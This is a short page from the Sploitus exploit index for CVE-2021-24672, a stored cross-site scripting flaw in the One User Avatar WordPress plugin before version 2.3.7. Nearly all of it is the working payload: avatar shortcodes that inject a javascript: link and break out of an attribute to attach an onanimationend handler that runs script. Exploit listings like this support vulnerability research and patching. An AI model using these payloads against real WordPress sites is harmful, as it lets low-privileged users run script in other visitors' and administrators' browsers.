Sploitus

Exploit for One User Avatar < 2.3.7 - Contributor+ Stored Cross-Site Scripting

CVE-2021-24672

wpexploit · 2021-09-20

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:762C506A-F57D-450F-99C0-32D750306DDC
[avatar link="javascript:alert(origin)"]

[avatar target='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)' link="file"]